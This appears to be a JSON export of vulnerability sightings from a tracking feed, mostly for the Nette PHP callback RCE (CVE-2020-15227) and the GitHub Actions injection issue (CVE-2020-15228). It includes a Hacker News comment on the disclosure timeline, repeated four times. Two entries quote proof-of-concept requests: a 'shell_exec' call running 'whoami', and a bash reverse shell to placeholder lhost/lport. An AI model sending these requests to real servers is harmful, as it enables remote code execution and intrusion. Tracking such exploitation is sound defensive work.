{"vulnerability": "cve-2020-1522", "sightings": [{"uuid": "e250f401-2964-4c1c-8c2c-409fd7cecaad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15228", "type": "seen", "source": "MISP/f4c18b78-4cca-4231-b957-1490787689a1", "content": "", "creation_timestamp": "2024-11-14T06:07:13.000000Z"}, {"uuid": "490cc4c8-6b28-408e-baeb-792698a8cb71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "seen", "source": "https://gist.github.com/eudard/6be5a0636723d724e97a3c20e13da1c7", "content": "", "creation_timestamp": "2025-02-08T21:53:56.000000Z"}, {"uuid": "e58aa078-b7e9-4c7f-92fc-1e47d35ab11d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-11)", "content": "", "creation_timestamp": "2025-07-11T00:00:00.000000Z"}, {"uuid": "4ac43c5a-03ba-47e8-ae86-1d85db847ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "Telegram/GIyGo_IMJ9nUX7q7AuOTeizXLQM3W2gjIGrdLGaNLcimrw", "content": "", "creation_timestamp": "2024-04-15T17:14:45.000000Z"}, {"uuid": "66d795bd-d944-4ffe-8ba3-e87d1d67970e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "Telegram/EaZXyEQPXjVYpa1SXINAqbywJF-Pj4HRY17cm56ozh9m7g", "content": "", "creation_timestamp": "2024-04-12T02:30:07.000000Z"}, {"uuid": "78501376-fa3e-452d-81df-81b89735a32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "seen", "source": "https://t.me/HackingInsights/5912", "content": "Attacks against the \"Nette\" PHP framework CVE-2020-15227, (Fri, Jul 12th)\nhttps://ift.tt/LpyGeoP", "creation_timestamp": "2024-07-12T19:10:30.000000Z"}, {"uuid": "d0dcd9a7-2733-4af9-a49f-68245809c2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "seen", "source": "https://t.me/ctinow/220151", "content": "Attacks against the \"Nette\" PHP framework CVE-2020-15227, (Fri, Jul 12th)\nhttps://ift.tt/LpyGeoP", "creation_timestamp": "2024-07-12T19:10:04.000000Z"}, {"uuid": "606b3f1c-caa6-4f9a-8e85-b33a7976c944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/2787", "content": "CVE-2020-15227 PHP framework nette callback RCE\n\nPOC: /nette.micro?callback=shell_exec&cmd=bash%20-i%20>&%20/dev/tcp/'+lhost+'/'+lport+'0>&1\n@securation", "creation_timestamp": "2020-10-14T19:14:14.000000Z"}, {"uuid": "dd5b421a-c367-4212-9463-2e0910d5cc9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2295", "content": "cve-2020-15227 nette\n\nGET  /nette.micro/?callback=shell_exec&cmd=whoami\n\nGET  /index.php/nette.micro/?callback=shell_exec&cmd=whoami\n\n#poc #exploit", "creation_timestamp": "2024-04-11T19:32:15.000000Z"}, {"uuid": "d21cf1f6-33ca-43f7-b4fc-a38920ad3ff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "Telegram/e6PvDjy4174rRu00KsomOgJ8pyrTDwRz7uzzWMAoRoiby0at", "content": "", "creation_timestamp": "2024-04-12T09:24:32.000000Z"}, {"uuid": "355931e1-6386-4f78-af58-d2163c2cace1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10832", "content": "#exploit\n1. Unauthenticated SSRF on Havoc C2 teamserver via spoofed demon agent\nhttps://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2\n\n2. Attacks against the \"Nette\" PHP framework (CVE-2020-15227)\nhttps://isc.sans.edu/forums/diary/Attacks+against+the+Nette+PHP+framework+CVE202015227/31076", "creation_timestamp": "2024-07-26T15:55:40.000000Z"}, {"uuid": "4c6ebe77-c016-4159-8743-2b3124fb8a01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15224", "type": "seen", "source": "https://t.me/cibsecurity/15272", "content": "\u203c CVE-2020-15224 \u203c\n\nIn Open Enclave before version 0.12.0, an information disclosure vulnerability exists when an enclave application using the syscalls provided by the sockets.edl is loaded by a malicious host application. An attacker who successfully exploited the vulnerability could read privileged data from the enclave heap across trust boundaries. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application. The vulnerability would not allow an attacker to elevate user rights directly, but it could be used to obtain information otherwise considered confidential in an enclave, which could be used in further compromises. The issue has been addressed in version 0.12.0 and the current master branch. Users will need to to recompile their applications against the patched libraries to be protected from this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-10-14T22:39:50.000000Z"}, {"uuid": "a2844360-bdd8-4902-8ba9-2a5e66c0cf0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15228", "type": "seen", "source": "https://t.me/hn_best_comments/6341", "content": "Re: GitHub: Widespread Injection Vulnerabilities in Ac...\n        \nI've often heard HNers state that Project Zero is unwilling/uninterested in protecting the interests of the vulnerable host, but this seems like an excellent case study where Github, the host, just doesn't think this is a big deal. I think that applies to any host who doesn't patch their vulnerabilities - if they thought it was a big deal, they'd do something about it. Actions speak.\n\nQuoting from the post:\n\n\n\n  2020-07-21 Report sent to Github and triaged by Github security team. Disclosure date is set for 2020-10-18.\n\n  2020-08-13 Project Zero requests a status update.\n\n  2020-08-21 Github say that they are are still working on a fix and a deprecation plan\n\n  2020-10-01  Github issued an advisory[1] deprecating the vulnerable commands, assigned CVE-2020-15228, and asked users to patch and update their workflows.\n\n  2020-10-12 Project Zero reach out and proactively mentions that a grace period is available if Github wants more time to disable the vulnerable commands.\n\n  2020-10-16 Github requested the additional 14 day grace period, with the hope of disabling the vulnerable commands after 2020-10-19.\n\n  2020-10-16 Project Zero grants grace period, new disclosure date is 2020-11-02.\n\n  2020-10-28 Project Zero reaches out, noting the deadline expires next week. No response is received.\n\n  2020-10-30 Due to no response and the deadline closing in, Project Zero reaches out to other informal Github contacts. The response is that the issue is considered fixed and that we are clear to go public on 2020-11-02 as planned.\n\n  2020-11-01 Github responds and mentions that they won't be disabling the vulnerable commands by 2020-11-02. They request an additional 48 hours, not to fix the issue, but to notify customers and determine a \"hard date\" at some point in the future.\n\n  2020-11-02 Project Zero responds that there is no option to further extend the deadline as this is day 104 (90 days + 14 day grace extension) and that the disclosure will be today.\n        \nsounds, 22 hours ago", "creation_timestamp": "2026-08-02T00:01:11.835358Z"}, {"uuid": "cc10f4c1-480e-42b6-a8c6-817dbefd9148", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15228", "type": "seen", "source": "https://t.me/hn_best_comments/6341", "content": "Re: GitHub: Widespread Injection Vulnerabilities in Ac...\n        \nI've often heard HNers state that Project Zero is unwilling/uninterested in protecting the interests of the vulnerable host, but this seems like an excellent case study where Github, the host, just doesn't think this is a big deal. I think that applies to any host who doesn't patch their vulnerabilities - if they thought it was a big deal, they'd do something about it. Actions speak.\n\nQuoting from the post:\n\n\n\n  2020-07-21 Report sent to Github and triaged by Github security team. Disclosure date is set for 2020-10-18.\n\n  2020-08-13 Project Zero requests a status update.\n\n  2020-08-21 Github say that they are are still working on a fix and a deprecation plan\n\n  2020-10-01  Github issued an advisory[1] deprecating the vulnerable commands, assigned CVE-2020-15228, and asked users to patch and update their workflows.\n\n  2020-10-12 Project Zero reach out and proactively mentions that a grace period is available if Github wants more time to disable the vulnerable commands.\n\n  2020-10-16 Github requested the additional 14 day grace period, with the hope of disabling the vulnerable commands after 2020-10-19.\n\n  2020-10-16 Project Zero grants grace period, new disclosure date is 2020-11-02.\n\n  2020-10-28 Project Zero reaches out, noting the deadline expires next week. No response is received.\n\n  2020-10-30 Due to no response and the deadline closing in, Project Zero reaches out to other informal Github contacts. The response is that the issue is considered fixed and that we are clear to go public on 2020-11-02 as planned.\n\n  2020-11-01 Github responds and mentions that they won't be disabling the vulnerable commands by 2020-11-02. They request an additional 48 hours, not to fix the issue, but to notify customers and determine a \"hard date\" at some point in the future.\n\n  2020-11-02 Project Zero responds that there is no option to further extend the deadline as this is day 104 (90 days + 14 day grace extension) and that the disclosure will be today.\n        \nsounds, 22 hours ago", "creation_timestamp": "2026-08-01T08:00:04.504268Z"}, {"uuid": "e7469d18-f4fb-408a-882a-c393ff6339e1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/38637b54-785e-4af5-b742-bde11d6e4d5c", "content": "", "creation_timestamp": "2026-06-19T12:46:00.574818Z"}, {"uuid": "edda859f-d24f-4f37-ab72-6b274513da77", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15227", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ec098222-9984-43f8-8cea-c0618ec2aab3", "content": "", "creation_timestamp": "2026-06-23T14:03:26.848118Z"}, {"uuid": "44c6f908-80c4-42d8-8836-9cc0317c9d5d", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-15227", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a8987204-17d4-4edb-bf74-d28321b8e3cf", "content": "", "creation_timestamp": "2026-06-30T09:42:24.762376Z"}, {"uuid": "e1425ba5-df8f-4fe0-a177-c40376cf2153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15228", "type": "seen", "source": "https://t.me/hn_best_comments/6341", "content": "Re: GitHub: Widespread Injection Vulnerabilities in Ac...\n        \nI've often heard HNers state that Project Zero is unwilling/uninterested in protecting the interests of the vulnerable host, but this seems like an excellent case study where Github, the host, just doesn't think this is a big deal. I think that applies to any host who doesn't patch their vulnerabilities - if they thought it was a big deal, they'd do something about it. Actions speak.\n\nQuoting from the post:\n\n\n\n  2020-07-21 Report sent to Github and triaged by Github security team. Disclosure date is set for 2020-10-18.\n\n  2020-08-13 Project Zero requests a status update.\n\n  2020-08-21 Github say that they are are still working on a fix and a deprecation plan\n\n  2020-10-01  Github issued an advisory[1] deprecating the vulnerable commands, assigned CVE-2020-15228, and asked users to patch and update their workflows.\n\n  2020-10-12 Project Zero reach out and proactively mentions that a grace period is available if Github wants more time to disable the vulnerable commands.\n\n  2020-10-16 Github requested the additional 14 day grace period, with the hope of disabling the vulnerable commands after 2020-10-19.\n\n  2020-10-16 Project Zero grants grace period, new disclosure date is 2020-11-02.\n\n  2020-10-28 Project Zero reaches out, noting the deadline expires next week. No response is received.\n\n  2020-10-30 Due to no response and the deadline closing in, Project Zero reaches out to other informal Github contacts. The response is that the issue is considered fixed and that we are clear to go public on 2020-11-02 as planned.\n\n  2020-11-01 Github responds and mentions that they won't be disabling the vulnerable commands by 2020-11-02. They request an additional 48 hours, not to fix the issue, but to notify customers and determine a \"hard date\" at some point in the future.\n\n  2020-11-02 Project Zero responds that there is no option to further extend the deadline as this is day 104 (90 days + 14 day grace extension) and that the disclosure will be today.\n        \nsounds, 22 hours ago", "creation_timestamp": "2026-07-29T12:01:07.181502Z"}, {"uuid": "baa79e36-671f-40bd-aa4e-981b54d4dc6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-15228", "type": "seen", "source": "https://t.me/hn_best_comments/6341", "content": "Re: GitHub: Widespread Injection Vulnerabilities in Ac...\n        \nI've often heard HNers state that Project Zero is unwilling/uninterested in protecting the interests of the vulnerable host, but this seems like an excellent case study where Github, the host, just doesn't think this is a big deal. I think that applies to any host who doesn't patch their vulnerabilities - if they thought it was a big deal, they'd do something about it. Actions speak.\n\nQuoting from the post:\n\n\n\n  2020-07-21 Report sent to Github and triaged by Github security team. Disclosure date is set for 2020-10-18.\n\n  2020-08-13 Project Zero requests a status update.\n\n  2020-08-21 Github say that they are are still working on a fix and a deprecation plan\n\n  2020-10-01  Github issued an advisory[1] deprecating the vulnerable commands, assigned CVE-2020-15228, and asked users to patch and update their workflows.\n\n  2020-10-12 Project Zero reach out and proactively mentions that a grace period is available if Github wants more time to disable the vulnerable commands.\n\n  2020-10-16 Github requested the additional 14 day grace period, with the hope of disabling the vulnerable commands after 2020-10-19.\n\n  2020-10-16 Project Zero grants grace period, new disclosure date is 2020-11-02.\n\n  2020-10-28 Project Zero reaches out, noting the deadline expires next week. No response is received.\n\n  2020-10-30 Due to no response and the deadline closing in, Project Zero reaches out to other informal Github contacts. The response is that the issue is considered fixed and that we are clear to go public on 2020-11-02 as planned.\n\n  2020-11-01 Github responds and mentions that they won't be disabling the vulnerable commands by 2020-11-02. They request an additional 48 hours, not to fix the issue, but to notify customers and determine a \"hard date\" at some point in the future.\n\n  2020-11-02 Project Zero responds that there is no option to further extend the deadline as this is day 104 (90 days + 14 day grace extension) and that the disclosure will be today.\n        \nsounds, 22 hours ago", "creation_timestamp": "2026-07-30T00:01:47.369471Z"}]}